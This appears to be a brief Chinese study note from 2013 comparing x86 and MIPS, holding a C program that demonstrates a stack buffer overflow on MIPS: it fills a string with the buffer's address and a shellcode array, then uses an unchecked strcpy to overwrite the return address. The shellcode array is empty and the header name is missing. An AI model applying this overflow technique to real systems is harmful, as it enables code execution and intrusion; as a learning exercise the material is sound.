学习时间:2013/9/10
X86与MIPS区别:
以下是基于MIPS上的一段把执行代码放在数据区的程序:
#include
char shellcode[] = {
};
long addra;
char large_string[144];
int main()
{
foo();
printf("The programe can not modify the address of ra(m)!!!\n");
};
void foo()
{ int i;
char buffer[128];
printf("=================================================================\n");
printf("the buffer address is %x\n",&buffer);
addra = buffer+136;
long *p;
p=addra;
long *long_ptr = (long *)large_string;
for (i = 0; i < 36; i++)
{
*(long_ptr + i) = (int)buffer;
}
for (i = 0; i <(int)strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
printf("=================================================================\n");
return ;
}